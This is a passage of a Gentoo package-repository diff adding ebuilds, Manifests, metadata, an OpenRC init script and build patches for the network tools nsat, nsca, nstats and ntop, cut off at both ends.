+--- a/src/Logging.cpp
++++ b/src/Logging.cpp
+@@ -89,16 +89,17 @@
+ if((pi.Foreground) && (out!=NULL))
+ fprintf(stdout, "%s %s ", out, hn);
+
+- va_start(va, fmt);
+-
+- if(fp!=NULL)
++ if(fp!=NULL) {
++ va_start(va, fmt);
+ vfprintf(fp, fmt, va);
++ va_end(va);
++ }
+
+- if((pi.Foreground) && (out!=NULL))
++ if((pi.Foreground) && (out!=NULL)) {
++ va_start(va, fmt);
+ vfprintf(stdout, fmt, va);
+-
+- va_end(va);
+-
++ va_end(va);
++ }
+ if(fp!=NULL)
+ fprintf(fp, "\n");
+
diff --git a/net-analyzer/nsat/metadata.xml b/net-analyzer/nsat/metadata.xml
new file mode 100644
index 000000000000..e98921b44b4f
--- /dev/null
+++ b/net-analyzer/nsat/metadata.xml
@@ -0,0 +1,9 @@
+<?xml version="1.0" encoding="UTF-8"?>
+<!DOCTYPE pkgmetadata SYSTEM "http://www.gentoo.org/dtd/metadata.dtd">
+<pkgmetadata>
+ <herd>netmon</herd>
+ <longdescription>Network Security Analysis Tool, an application-level network security scanner</longdescription>
+ <upstream>
+ <remote-id type="sourceforge">nsat</remote-id>
+ </upstream>
+</pkgmetadata>
diff --git a/net-analyzer/nsat/nsat-1.5-r3.ebuild b/net-analyzer/nsat/nsat-1.5-r3.ebuild
new file mode 100644
index 000000000000..03ce4e5bfaec
--- /dev/null
+++ b/net-analyzer/nsat/nsat-1.5-r3.ebuild
@@ -0,0 +1,70 @@
+# Copyright 1999-2014 Gentoo Foundation
+# Distributed under the terms of the GNU General Public License v2
+# $Id$
+
+EAPI=5
+inherit autotools eutils toolchain-funcs
+
+DESCRIPTION="Network Security Analysis Tool, an application-level network security scanner"
+HOMEPAGE="http://nsat.sourceforge.net/"
+SRC_URI="mirror://sourceforge/nsat/${P}.tgz"
+
+LICENSE="GPL-2"
+SLOT="0"
+KEYWORDS="~amd64 ~ppc x86"
+IUSE="X"
+
+RDEPEND="
+ X? (
+ x11-libs/libX11
+ dev-lang/tk
+ )
+ dev-libs/libmix
+ net-libs/libpcap
+"
+DEPEND="$RDEPEND"
+
+S="${WORKDIR}/${PN}"
+
+src_prepare() {
+ epatch "${FILESDIR}"/${P}-configure.patch
+ epatch "${FILESDIR}"/${P}-lvalue-gcc4.patch
+ epatch "${FILESDIR}"/${P}-strip.patch
+ epatch "${FILESDIR}"/${P}-misc.patch
+ epatch "${FILESDIR}"/${P}-va_list.patch
+ use amd64 && epatch "${FILESDIR}"/${P}-amd64-compat.patch
+
+ sed -i \
+ -e "s:^#CGIFile /usr/local/share/nsat/nsat.cgi$:#CGIFile /usr/share/nsat/nsat.cgi:g" \
+ nsat.conf || die
+ sed -i -e "s:/usr/local:/usr:g" tools/xnsat || die
+ sed -i \
+ -e "s:/usr/local/share/nsat/nsat.conf:/etc/nsat/nsat.conf:g" \
+ -e "s:/usr/local/share/nsat/nsat.cgi:/usr/share/nsat/nsat.cgi:g" \
+ src/lang.h || die
+
+ eautoreconf
+}
+
+src_configure() {
+ tc-export CC
+ econf $(use_with X x)
+}
+
+src_compile() {
+ emake MIXOBJ=-lmix++
+}
+
+src_install () {
+ dobin nsat smb-ns
+ use X && dobin tools/xnsat
+
+ insinto /usr/share/nsat
+ doins nsat.cgi
+
+ insinto /etc/nsat
+ doins nsat.conf
+
+ dodoc README doc/CHANGES
+ doman doc/nsat.8
+}
diff --git a/net-analyzer/nsca/Manifest b/net-analyzer/nsca/Manifest
new file mode 100644
index 000000000000..8139411de286
--- /dev/null
+++ b/net-analyzer/nsca/Manifest
@@ -0,0 +1 @@
+DIST nsca-2.7.2.tar.gz 104953 SHA256 fb41e3b536735235056643fb12187355c6561b9148996c093e8faddd4fced571 SHA512 f84cac3613bbd0ded4ec700c1dadac71ed075544d0f48281a70946a67792b7f4bcdf6dc3bd5ccf1293cc6a0277638e0f034c33064bf9c05696b4f015e7f15010 WHIRLPOOL 77daad5cef0434e243fab3eff56b4df8b91abc15a166068f5398667483fb4de04ebdeeda6c340ef19ae17b5da5264e2b8cfe8e958866fc1f35ef504df2c4340c
diff --git a/net-analyzer/nsca/files/nsca.conf b/net-analyzer/nsca/files/nsca.conf
new file mode 100644
index 000000000000..987cd10ebf58
--- /dev/null
+++ b/net-analyzer/nsca/files/nsca.conf
@@ -0,0 +1,5 @@
+# Choose the configuration file to use; the pre-defined configurations
+# for Nagios and Icinga are available in their respective directories:
+# /etc/nagios/nsca.cfg
+# /etc/icinga/nsca.cfg
+CFGFILE=/etc/nagios/nsca.cfg
diff --git a/net-analyzer/nsca/files/nsca.init b/net-analyzer/nsca/files/nsca.init
new file mode 100644
index 000000000000..4f81b9d27ac5
--- /dev/null
+++ b/net-analyzer/nsca/files/nsca.init
@@ -0,0 +1,34 @@
+#!/sbin/runscript
+# Copyright 1999-2012 Gentoo Foundation
+# Distributed under the terms of the GNU General Public License v2
+# $Id$
+
+: ${CFGFILE:=/etc/nagios/nsca.cfg}
+
+get_config() {
+ [ -f ${CFGFILE} ] || return 1
+
+ sed -n -e 's:^[ \t]*'$1'=\([^#]\+\).*:\1:p' \
+ ${CFGFILE}
+}
+
+extra_started_commands="reload"
+
+command=/usr/libexec/${SVCNAME}
+command_args="-c ${CFGFILE} --daemon"
+pidfile=$(get_config pid_file)
+
+depend() {
+ config ${CFGFILE}
+
+ case $(get_config nsca_user) in
+ icinga) need icinga ;;
+ nagios) need nagios ;;
+ esac
+}
+
+reload() {
+ ebegin "Reloading ${SVCNAME}"
+ kill -HUP `cat $(get_config pid_file)`
+ eend $?
+}
diff --git a/net-analyzer/nsca/metadata.xml b/net-analyzer/nsca/metadata.xml
new file mode 100644
index 000000000000..6d4d98e4d903
--- /dev/null
+++ b/net-analyzer/nsca/metadata.xml
@@ -0,0 +1,37 @@
+<?xml version="1.0" encoding="UTF-8"?>
+<!DOCTYPE pkgmetadata SYSTEM "http://www.gentoo.org/dtd/metadata.dtd">
+<pkgmetadata>
+ <herd>sysadmin</herd>
+ <longdescription lang="en">
+ This program is designed to accept passive service check results
+ from clients that use the send_nsca utility (which is included in
+ this package) and pass them along to the Nagios process by using
+ the external command interface. The program can either be run as a
+ standalone daemon or as a service under inetd. If you have
+ libmcrypt installed on your systems, you can choose from multiple
+ crypto algorithms (DES, 3DES, CAST, xTEA, Twofish, LOKI97,
+ RJINDAEL, SERPENT, GOST, SAFER/SAFER+, etc.) for encrypting the
+ traffic between the client and the server. Encryption is
+ important in this addon, as it prevents unauthorized users from
+ sending bogus check results to Nagios. Read the included SECURITY
+ document for more information.
+
+ This package provides the send_nsca utility running on the client.
+ </longdescription>
+ <use>
+ <flag name="crypt">
+ Build support for crypted communication with nsca, through
+ <pkg>dev-libs/mcrypt</pkg>. It's recommended not to disable this
+ flag unless all the communication will be handled in an
+ absolutely safe environment.
+ </flag>
+ <flag name="minimal">
+ Only build and install the send_nsca command and not the
+ daemon. This allows a very minimal install with no overhead when
+ setting up a node.
+ </flag>
+ </use>
+ <upstream>
+ <remote-id type="sourceforge">nagios</remote-id>
+ </upstream>
+</pkgmetadata>
diff --git a/net-analyzer/nsca/nsca-2.7.2-r103.ebuild b/net-analyzer/nsca/nsca-2.7.2-r103.ebuild
new file mode 100644
index 000000000000..9e34b12dd233
--- /dev/null
+++ b/net-analyzer/nsca/nsca-2.7.2-r103.ebuild
@@ -0,0 +1,88 @@
+# Copyright 1999-2012 Gentoo Foundation
+# Distributed under the terms of the GNU General Public License v2
+# $Id$
+
+EAPI=4
+
+inherit multilib user eutils
+
+DESCRIPTION="Nagios Service Check Acceptor"
+HOMEPAGE="http://www.nagios.org/"
+SRC_URI="mirror://sourceforge/nagios/${P}.tar.gz"
+
+LICENSE="GPL-2"
+SLOT="0"
+KEYWORDS="alpha amd64 ppc ppc64 sparc x86"
+IUSE="tcpd +crypt minimal"
+
+DEPEND="crypt? ( >=dev-libs/libmcrypt-2.5.1-r4 )
+ !minimal? ( tcpd? ( sys-apps/tcp-wrappers ) )"
+
+RDEPEND="${DEPEND}
+ !minimal? ( || ( net-analyzer/icinga net-analyzer/nagios ) )
+ sys-apps/openrc"
+
+pkg_setup() {
+ if ! use minimal; then
+ enewgroup nagios
+ enewgroup icinga
+ enewuser nagios -1 /bin/bash /var/nagios/home nagios
+ enewuser icinga -1 -1 /var/lib/icinga "icinga,nagios"
+ fi
+}
+
+src_configure() {
+ use tcpd || export ac_cv_lib_wrap_main=no
+ use crypt || export ac_cv_path_LIBMCRYPT_CONFIG=/bin/false
+
+ econf \
+ --localstatedir=/var/nagios \
+ --sysconfdir=/etc/nagios \
+ --with-nsca-user=nagios \
+ --with-nsca-grp=nagios
+}
+
+src_compile() {
+ emake -C src send_nsca $(use minimal || echo nsca)
+
+ # prepare the alternative configuration file
+ sed \
+ -e '/nsca_\(user\|group\)/s:nagios:icinga:' \
+ -e '/nsca_chroot/s:=.*:=/var/lib/icinga/rw:' \
+ -e '/\(command\|alternate_dump\)_file/s:/var/nagios:/var/lib/icinga:' \
+ "${S}"/sample-config/nsca.cfg > "${T}"/nsca.icinga.cfg
+}
+
+src_install() {
+ dodoc LEGAL Changelog README SECURITY
+
+ dobin src/send_nsca
+
+ insinto /etc/nagios
+ doins "${S}"/sample-config/send_nsca.cfg
+
+ if ! use minimal; then
+ exeinto /usr/libexec
+ doexe src/nsca
+
+ newinitd "${FILESDIR}"/nsca.init nsca
+ newconfd "${FILESDIR}"/nsca.conf nsca
+
+ insinto /etc/nagios
+ doins "${S}"/sample-config/nsca.cfg
+
+ insinto /etc/icinga
+ newins "${T}"/nsca.icinga.cfg nsca.cfg
+ fi
+}
+
+pkg_postinst() {
+ if ! use minimal; then
+ elog "If you are using the nsca daemon, remember to edit"
+ elog "the config file /etc/nagios/nsca.cfg"
+ elog ""
+ elog "If you intend to use nsca with Icinga, change the"
+ elog "configuration file path in /etc/conf.d/nsca so that"
+ elog "it will default to the correct paths and users."
+ fi
+}
diff --git a/net-analyzer/nstats/Manifest b/net-analyzer/nstats/Manifest
new file mode 100644
index 000000000000..29867ca6f68d
--- /dev/null
+++ b/net-analyzer/nstats/Manifest
@@ -0,0 +1 @@
+DIST nstats-0.4.tar.gz 71526 SHA256 ab36626ca06e734800a31ec64f76bf1dc0d9e579f3542155a7ce89030f74aaf4 SHA512 89e88eb0f707cb125fbf02bef93a0bbbd1409f3516d4b333e06d0a3ffe42f5e8d2b655fa6c7a0c63b7d71c7a2f74f6207e5ed158f7d102f6d47ac6e436da3315 WHIRLPOOL 87258661fa288164f31645109783737d124d899c005fbe18f3fc65d227900da867668ff8e1f63b339c628e178d778a0efb2f4a8e93de5dfa9e6109af62beb697
diff --git a/net-analyzer/nstats/files/nstats-0.4-glibc24.patch b/net-analyzer/nstats/files/nstats-0.4-glibc24.patch
new file mode 100644
index 000000000000..597c0cd24285
--- /dev/null
+++ b/net-analyzer/nstats/files/nstats-0.4-glibc24.patch
@@ -0,0 +1,102 @@
+--- a/src/packet.c
++++ b/src/packet.c
+@@ -148,9 +148,9 @@
+ stats.ip.ipv6.icmp.dst_unreach.s_admin += hdr->len;
+ break;
+
+- case ICMP6_DST_UNREACH_NOTNEIGHBOR:
+- stats.ip.ipv6.icmp.dst_unreach.notneighbor++;
+- stats.ip.ipv6.icmp.dst_unreach.s_notneighbor += hdr->len;
++ case ICMP6_DST_UNREACH_BEYONDSCOPE:
++ stats.ip.ipv6.icmp.dst_unreach.beyondscope++;
++ stats.ip.ipv6.icmp.dst_unreach.s_beyondscope += hdr->len;
+ break;
+
+ case ICMP6_DST_UNREACH_ADDR:
+@@ -219,21 +219,6 @@
+ stats.ip.ipv6.icmp.s_echo_reply += hdr->len;
+ break;
+
+- case ICMP6_MEMBERSHIP_QUERY:
+- stats.ip.ipv6.icmp.mbrship_query++;
+- stats.ip.ipv6.icmp.s_mbrship_query += hdr->len;
+- break;
+-
+- case ICMP6_MEMBERSHIP_REPORT:
+- stats.ip.ipv6.icmp.mbrship_report++;
+- stats.ip.ipv6.icmp.s_mbrship_report += hdr->len;
+- break;
+-
+- case ICMP6_MEMBERSHIP_REDUCTION:
+- stats.ip.ipv6.icmp.mbrship_reduction++;
+- stats.ip.ipv6.icmp.s_mbrship_reduction += hdr->len;
+- break;
+-
+ case ND_ROUTER_SOLICIT:
+ stats.ip.ipv6.icmp.nd_router_solicit++;
+ stats.ip.ipv6.icmp.s_nd_router_solicit += hdr->len;
+--- a/src/stats.c
++++ b/src/stats.c
+@@ -316,15 +316,6 @@
+ print_line("Echo Reply:", ICMP6.echo_reply, ICMP6.cnt,
+ ICMP6.s_echo_reply, ICMP6.bs, .0);
+ NEXT_ROW;
+- print_line("MbrShip Query:", ICMP6.mbrship_query, ICMP6.cnt,
+- ICMP6.s_mbrship_query, ICMP6.bs, .0);
+- NEXT_ROW;
+- print_line("MbrShip Report:", ICMP6.mbrship_report, ICMP6.cnt,
+- ICMP6.s_mbrship_report, ICMP6.bs, .0);
+- NEXT_ROW;
+- print_line("MbrShip Reduct.:", ICMP6.mbrship_reduction, ICMP6.cnt,
+- ICMP6.s_mbrship_reduction, ICMP6.bs, .0);
+- NEXT_ROW;
+ print_line("ND Rtr Solicit:", ICMP6.nd_router_solicit, ICMP6.cnt,
+ ICMP6.s_nd_router_solicit, ICMP6.bs, .0);
+ NEXT_ROW;
+--- a/src/stats.h
++++ b/src/stats.h
+@@ -233,7 +233,7 @@
+
+ cnt_t noroute; cnt_t s_noroute;
+ cnt_t admin; cnt_t s_admin;
+- cnt_t notneighbor; cnt_t s_notneighbor;
++ cnt_t beyondscope; cnt_t s_beyondscope;
+ cnt_t addr; cnt_t s_addr;
+ cnt_t noport; cnt_t s_noport;
+
+@@ -265,9 +265,6 @@
+ cnt_t pkt_too_big; cnt_t s_pkt_too_big;
+ cnt_t echo_request; cnt_t s_echo_request;
+ cnt_t echo_reply; cnt_t s_echo_reply;
+- cnt_t mbrship_query; cnt_t s_mbrship_query;
+- cnt_t mbrship_report; cnt_t s_mbrship_report;
+- cnt_t mbrship_reduction; cnt_t s_mbrship_reduction;
+ cnt_t nd_router_solicit; cnt_t s_nd_router_solicit;
+ cnt_t nd_router_advert; cnt_t s_nd_router_advert;
+ cnt_t nd_neighbor_solicit; cnt_t s_nd_neighbor_solicit;
+--- a/src/nstats.c
++++ b/src/nstats.c
+@@ -528,12 +528,6 @@
+ ICMP6.s_echo_request, ICMP6.bs);
+ print_line("Echo Reply:", ICMP6.echo_reply, ICMP6.cnt,
+ ICMP6.s_echo_reply, ICMP6.bs);
+- print_line("MbrShip Query:", ICMP6.mbrship_query, ICMP6.cnt,
+- ICMP6.s_mbrship_query, ICMP6.bs);
+- print_line("MbrShip Report:", ICMP6.mbrship_report, ICMP6.cnt,
+- ICMP6.s_mbrship_report, ICMP6.bs);
+- print_line("MbrShip Reduct.:", ICMP6.mbrship_reduction, ICMP6.cnt,
+- ICMP6.s_mbrship_reduction, ICMP6.bs);
+ print_line("ND Rtr Solicit:", ICMP6.nd_router_solicit, ICMP6.cnt,
+ ICMP6.s_nd_router_solicit, ICMP6.bs);
+ print_line("ND Rtr Advert:", ICMP6.nd_router_advert, ICMP6.cnt,
+@@ -553,8 +547,8 @@
+ DESTU6.s_noroute, DESTU6.bs);
+ print_line("Admin:", DESTU6.admin, DESTU6.cnt,
+ DESTU6.s_admin, DESTU6.bs);
+- print_line("Not Neighbor:", DESTU6.notneighbor, DESTU6.cnt,
+- DESTU6.s_notneighbor, DESTU6.bs);
++ print_line("Beyond Scope:", DESTU6.beyondscope, DESTU6.cnt,
++ DESTU6.s_beyondscope, DESTU6.bs);
+ print_line("Addr:", DESTU6.addr, DESTU6.cnt,
+ DESTU6.s_addr, DESTU6.bs);
+ print_line("No Port:", DESTU6.noport, DESTU6.cnt,
diff --git a/net-analyzer/nstats/files/nstats-0.4-makefile.patch b/net-analyzer/nstats/files/nstats-0.4-makefile.patch
new file mode 100644
index 000000000000..6c4577e333f6
--- /dev/null
+++ b/net-analyzer/nstats/files/nstats-0.4-makefile.patch
@@ -0,0 +1,17 @@
+# rename *mon to *mon.nstats to avoid conflict with
+# net-analyzer/bmon, sys-cluster/ceph and sys-process/nmon
+# bug #364685
+
+--- a/Makefile
++++ b/Makefile
+@@ -53,7 +53,7 @@
+ mkdir -p $(DESTDIR)$(prefix)/bin/
+ mkdir -p $(DESTDIR)$(mandir)/man8/
+ install nstats $(DESTDIR)$(prefix)/bin/
+- install bmon $(DESTDIR)$(prefix)/bin/
+- install cmon $(DESTDIR)$(prefix)/bin/
+- install nmon $(DESTDIR)$(prefix)/bin/
++ install bmon $(DESTDIR)$(prefix)/bin/bmon.nstats
++ install cmon $(DESTDIR)$(prefix)/bin/cmon.nstats
++ install nmon $(DESTDIR)$(prefix)/bin/nmon.nstats
+ install man/nstats.8 $(DESTDIR)$(mandir)/man8/
diff --git a/net-analyzer/nstats/files/nstats-0.4-tinfo.patch b/net-analyzer/nstats/files/nstats-0.4-tinfo.patch
new file mode 100644
index 000000000000..ce62c8100f9b
--- /dev/null
+++ b/net-analyzer/nstats/files/nstats-0.4-tinfo.patch
@@ -0,0 +1,18 @@
+--- a/configure.in
++++ b/configure.in
+@@ -15,11 +15,12 @@
+
+ AC_TYPE_SIGNAL
+
++PKG_CHECK_MODULES(ncurses,ncurses,,AC_MSG_ERROR([ncurses is needed]))
+
+ AC_CHECK_LIB(ncurses,initscr,[
+- NMON_LIB="${NMON_LIB} -lncurses"
+- BMON_LIB="${BMON_LIB} -lncurses"
+- CMON_LIB="${CMON_LIB} -lncurses"
++ NMON_LIB="${NMON_LIB} $ncurses_LIBS"
++ BMON_LIB="${BMON_LIB} $ncurses_LIBS"
++ CMON_LIB="${CMON_LIB} $ncurses_LIBS"
+ ],[
+ echo
+ echo "Missing dependency"
diff --git a/net-analyzer/nstats/metadata.xml b/net-analyzer/nstats/metadata.xml
new file mode 100644
index 000000000000..03aa50bab7e3
--- /dev/null
+++ b/net-analyzer/nstats/metadata.xml
@@ -0,0 +1,5 @@
+<?xml version="1.0" encoding="UTF-8"?>
+<!DOCTYPE pkgmetadata SYSTEM "http://www.gentoo.org/dtd/metadata.dtd">
+<pkgmetadata>
+<herd>netmon</herd>
+</pkgmetadata>
diff --git a/net-analyzer/nstats/nstats-0.4-r2.ebuild b/net-analyzer/nstats/nstats-0.4-r2.ebuild
new file mode 100644
index 000000000000..fe972bea97d8
--- /dev/null
+++ b/net-analyzer/nstats/nstats-0.4-r2.ebuild
@@ -0,0 +1,35 @@
+# Copyright 1999-2014 Gentoo Foundation
+# Distributed under the terms of the GNU General Public License v2
+# $Id$
+
+EAPI=5
+
+inherit autotools eutils
+
+DESCRIPTION="Displays statistics about ethernet traffic including protocol breakdown"
+SRC_URI="http://trash.net/~reeler/nstats/files/${P}.tar.gz"
+HOMEPAGE="http://trash.net/~reeler/nstats/"
+LICENSE="Artistic"
+
+SLOT="0"
+KEYWORDS="amd64 ~ppc x86"
+
+RDEPEND="
+ net-libs/libpcap
+ sys-libs/ncurses
+"
+DEPEND="
+ ${RDEPEND}
+ virtual/pkgconfig
+"
+
+DOCS=( BUGS doc/TODO doc/ChangeLog )
+
+src_prepare(){
+ epatch \
+ "${FILESDIR}"/${P}-glibc24.patch \
+ "${FILESDIR}"/${P}-makefile.patch \
+ "${FILESDIR}"/${P}-tinfo.patch
+
+ eautoreconf
+}
diff --git a/net-analyzer/ntop/Manifest b/net-analyzer/ntop/Manifest
new file mode 100644
index 000000000000..55488dd64406
--- /dev/null
+++ b/net-analyzer/ntop/Manifest
@@ -0,0 +1,3 @@
+DIST ntop-4.0.3.tgz 39191671 SHA256 5b34b64fa4aebaeb365b2f255b2bbeb0a487686f49e85680789070d1c2404dc0 SHA512 48734b8c2fcb5c8efb9917836702b6407cca568cfd715c1cab98b8f4eaba2aa43491414132a94019d4619400b7e02a2232abd0a60cb2dbc413c6fbe6472f7f2f WHIRLPOOL c7bc59a010fd6792110eead7a6fe6cbeb401d7d38fd47a440d66091f3c317a7d80d2685bcb5e129db3267ef691908e4363c2ed3dfbff9c58578e272c420541a7
+DIST ntop-4.1.0.tar.gz 39118983 SHA256 c71e5563879ec1866296825e1705f30b5a67eb87c9abfbd7dc1c5baeed0384a4 SHA512 6759ef6396768b33db96db20ceb907f9d8a5e3421c920d277e043bec85eb1fb38e41b7c88e189e7dd316a02c627aa4c4ea9295beee8cd890ac09b5d8b161a579 WHIRLPOOL ae5616bf29a002d02273fcb436fd3b869ec6fcb7c3d10a61097f72aabe68240232f8aff9b533300baa76fc2096900902dfd900f95142c334c61f5cd425e543a7
+DIST ntop-5.0.1.tar.gz 40133867 SHA256 7e8e84cb14d2173beaca4d4cb991a14d84a4bef84ec37b2276bc363f45c52ef8 SHA512 f52c40e6c00c8d2f46b68078c5f9aef8ed78670f92a0a81f66f2f44c71d41bc4c001b4550f19b71c546f7c07cbbed15e0aa1ee13873ac63a11678bf2b8483f2a WHIRLPOOL aa20b6529f343f6f57fc1d880c8cf07cd11720c6fe8c968359ff1e16b77fe3f4c6df1ed83a184e580d6ef7f5eff6d245b2971c17a7dd674c12325f21029f64ee
diff --git a/net-analyzer/ntop/files/ntop-4.0.3-gentoo.patch b/net-analyzer/ntop/files/ntop-4.0.3-gentoo.patch
new file mode 100644
index 000000000000..6cd03512adf9
--- /dev/null
+++ b/net-analyzer/ntop/files/ntop-4.0.3-gentoo.patch
@@ -0,0 +1,232 @@
+--- a/configure.in
++++ b/configure.in
+@@ -57,6 +57,7 @@
+ dnl>
+ umask 002
+ AM_CONFIG_HEADER(config.h)
++AM_MAINTAINER_MODE
+
+ HAS_ERROR=
+ HAS_WARNING=
+@@ -511,11 +512,6 @@
+ LOCALEDIR="/usr/lib/locale"
+ fi
+
+-dnl> Add /usr/local/ /opt/local
+-CFLAGS="${CFLAGS} -I/usr/local/include -I/opt/local/include"
+-CPPFLAGS="${CPPFLAGS} -I/usr/local/include -I/opt/local/include"
+-LDFLAGS="${LDFLAGS} -L/usr/local/lib -L/opt/local/lib"
+-
+ PWD=`pwd`
+
+ echo
+@@ -1824,18 +1820,6 @@
+ if test ".${ac_cv_lib_GeoIP_GeoIP_record_by_ipnum}" = ".yes"; then
+ LIBS="$LIBS -lGeoIP"
+
+-if test -f "GeoLiteCity.dat"; then
+- echo "GeoLiteCity.dat already present"
+-else
+- if test -f "3rd_party/GeoLiteCity.dat.gz"; then
+- cp 3rd_party/GeoLiteCity.dat.gz .
+- else
+- wget http://www.maxmind.com/download/geoip/database/GeoLiteCity.dat.gz
+- fi
+-
+- gunzip GeoLiteCity.dat.gz
+-fi
+-
+ dnl> --------
+
+ if test -f "GeoIPASNum.dat"; then
+@@ -1854,8 +1838,13 @@
+ exit 1
+ fi
+
+-cp "3rd_party/oui.txt.gz" .
+-cp "3rd_party/specialMAC.txt.gz" .
++
++gunzip 3rd_party/GeoLiteCity.dat.gz &&
++gunzip 3rd_party/GeoIPASNum.dat.gz &&
++mv "3rd_party/etter.finger.os.gz" . &&
++mv "3rd_party/oui.txt.gz" . &&
++mv "3rd_party/specialMAC.txt.gz" . ||
++ exit 1
+
+ if test -d ./configureextra; then
+
+@@ -2016,7 +2005,6 @@
+ AC_SUBST(SO_VERSION_PATCH)
+ AC_SUBST(RRD_LIB)
+ AC_SUBST(RRD_INC)
+-AC_SUBST(GEO_DIR)
+ AC_SUBST(GETOPT_H)
+ AC_SUBST(GETOPT_C)
+
+--- a/globals-core.c
++++ b/globals-core.c
+@@ -372,7 +372,7 @@
+ _mtuSize[DLT_ATM_RFC1483] = 9180 /* LLC/SNAP encapsulated atm */;
+ _headerSize[DLT_ATM_RFC1483] = 0;
+
+- /* _mtuSize[DLT_RAW] = ? raw IP */
++ _mtuSize[DLT_RAW] = 1500; /* raw IP */
+ _headerSize[DLT_RAW] = 0;
+
+ /* Others defined in bpf.h at tcpdump.org as of the resync - it would be NICE
+@@ -491,19 +491,18 @@
+ struct stat statbuf;
+
+ /* Initialize GeoIP databases */
+- for(i=0; myGlobals.configFileDirs[i] != NULL; i++) {
++ {
+ char path[256];
+
+ safe_snprintf(__FILE__, __LINE__, path, sizeof(path),
+ "%s%c%s",
+- myGlobals.configFileDirs[i],
++ myGlobals.dbPath,
+ CONST_PATH_SEP, GEO_IP_FILE);
+ revertSlashIfWIN32(path, 0);
+
+ if(stat(path, &statbuf) == 0) {
+ if((myGlobals.geo_ip_db = GeoIP_open(path, GEOIP_CHECK_CACHE)) != NULL) {
+ traceEvent(CONST_TRACE_INFO, "GeoIP: loaded config file %s", path);
+- break;
+ }
+ }
+ }
+@@ -512,20 +511,18 @@
+ traceEvent(CONST_TRACE_ERROR, "GeoIP: unable to load file %s", GEO_IP_FILE);
+
+ /* *************************** */
+-
+- for(i=0; myGlobals.configFileDirs[i] != NULL; i++) {
++ {
+ char path[256];
+
+ safe_snprintf(__FILE__, __LINE__, path, sizeof(path),
+ "%s%c%s",
+- myGlobals.configFileDirs[i],
++ myGlobals.dbPath,
+ CONST_PATH_SEP, GEO_IP_ASN_FILE);
+ revertSlashIfWIN32(path, 0);
+
+ if(stat(path, &statbuf) == 0) {
+ if((myGlobals.geo_ip_asn_db = GeoIP_open(path, GEOIP_CHECK_CACHE)) != NULL) {
+ traceEvent(CONST_TRACE_INFO, "GeoIP: loaded ASN config file %s", path);
+- break;
+ }
+ }
+ }
+--- a/Makefile.am
++++ b/Makefile.am
+@@ -43,7 +43,6 @@
+
+ #AM_CFLAGS =
+ #AM_LDFLAGS=
+-ACLOCAL_AMFLAGS=-I m4
+
+ DISTCLEANFILES = trivialcompilemessage *.db #* *~ *.log
+ CLEANFILES = $(DISTCLEANFILES) stamp-h1
+@@ -74,9 +73,7 @@
+ NTOPDATA = ntop-cert.pem \
+ $(ETTER_PASSIVE) \
+ oui.txt.gz \
+- specialMAC.txt.gz \
+- GeoIPASNum.dat \
+- GeoLiteCity.dat
++ specialMAC.txt.gz
+
+ NTOPHTML = html html/*.js html/*.html html/*.gif html/*.jpg html/*.ico html/*.png \
+ html/*.css html/*.dtd \
+@@ -370,30 +367,7 @@
+
+ # download the vendor information table
+ dnvt:
+- @echo ""
+- @echo ""
+- @echo -n "Preparing "
+- @if test -f oui.txt; then \
+- rm -rf oui.txt; \
+- fi
+- @if test -f oui.txt.gz.old; then \
+- rm -rf oui.txt.gz.old; \
+- fi;
+- @mv oui.txt.gz oui.txt.gz.old
+- @echo "(old oui.txt.gz file is now oui.txt.gz.old)"
+- @echo ""
+- @wget -c http://standards.ieee.org/regauth/oui/oui.txt
+- @gzip oui.txt
+- @echo ""
+- @echo ""
+- @echo -n "Old file lines were: "
+- @gunzip -c oui.txt.gz.old | wc -l
+- @echo -n "New file lines are: "
+- @gunzip -c oui.txt.gz | wc -l
+- @echo ""
+- @echo ""
+- @echo "New file is:"
+- @ls -l oui.txt.gz
++ @echo "Use included oui.txt.gz"
+
+ # download the Novell SAP Protocol information table
+ #dnsapt:
+@@ -401,45 +375,7 @@
+
+ # download the passive ethernet fingerprint database
+ dnetter:
+- @echo ""
+- @echo ""
+- @echo "Preparing "
+- @echo ""
+-
+- @if test -f $(ETTER_PASSIVE).old; then \
+- echo "...Deleting prior file, $(ETTER_PASSIVE).old..."; \
+- rm -rf $(ETTER_PASSIVE).old; \
+- fi;
+- @if test -f $(ETTER_PASSIVE); then \
+- echo "...Moving current $(ETTER_PASSIVE) to $(ETTER_PASSIVE).old"; \
+- mv $(ETTER_PASSIVE) $(ETTER_PASSIVE).old; \
+- fi;
+- @for file in $(ETTER_PASSIVE) $(ETTER_PASSIVE).gz \
+- $(ETTER_PASSIVE_FILE) $(ETTER_PASSIVE_FILE).gz; do \
+- if test -f $$file; then \
+- echo "...Deleting prior file, $$file..."; \
+- rm -rf $$file; \
+- fi; \
+- done
+- @echo ""
+- @echo "...Downloading new file..."
+- @wget -O $(ETTER_PASSIVE_FILE) \
+- $(ETTER_PASSIVE_DOWNLOAD_FROM)/$(ETTER_PASSIVE_FILE)?$(ETTER_PASSIVE_DOWNLOAD_PARMS)
+- @echo ""
+- @echo "gziping downloaded file..."
+- @gzip $(ETTER_PASSIVE_FILE)
+- @echo ""
+- @echo ""
+- @if test -f $(ETTER_PASSIVE).old; then \
+- echo -n "Old file lines were: "; \
+- gunzip -c $(ETTER_PASSIVE).old | wc -l; \
+- fi;
+- @echo -n "New file lines are: "
+- @gunzip -c $(ETTER_PASSIVE) | wc -l
+- @echo ""
+- @echo ""
+- @echo "New file is:"
+- @ls -l $(ETTER_PASSIVE)
++ @echo "Use included $(ETTER_PASSIVE)"
+
+ # ntop census
+ census-fail:
+--- a/report.c
++++ b/report.c
+@@ -2353,7 +2353,7 @@
+ if(fetchPrefsValue("dot.path", buf, sizeof(buf)) != -1) {
+ snprintf(dotPath, sizeof(dotPath), "%s", buf);
+ } else {
+- snprintf(dotPath, sizeof(dotPath), "/usr/local/bin/dot");
++ snprintf(dotPath, sizeof(dotPath), "/usr/bin/dot");
+ storePrefsValue("dot.path", dotPath); /* Set the default */
+ }
+
diff --git a/net-analyzer/ntop/files/ntop-4.1.0-gentoo.patch b/net-analyzer/ntop/files/ntop-4.1.0-gentoo.patch
new file mode 100644
index 000000000000..10b93b92e90d
--- /dev/null
+++ b/net-analyzer/ntop/files/ntop-4.1.0-gentoo.patch
@@ -0,0 +1,240 @@
+--- a/configure.in
++++ b/configure.in
+@@ -469,11 +469,6 @@
+ LOCALEDIR="/usr/lib/locale"
+ fi
+
+-dnl> Add /usr/local/ /opt/local
+-CFLAGS="${CFLAGS} -I/usr/local/include -I/opt/local/include"
+-CPPFLAGS="${CPPFLAGS} -I/usr/local/include -I/opt/local/include"
+-LDFLAGS="${LDFLAGS} -L/usr/local/lib -L/opt/local/lib"
+-
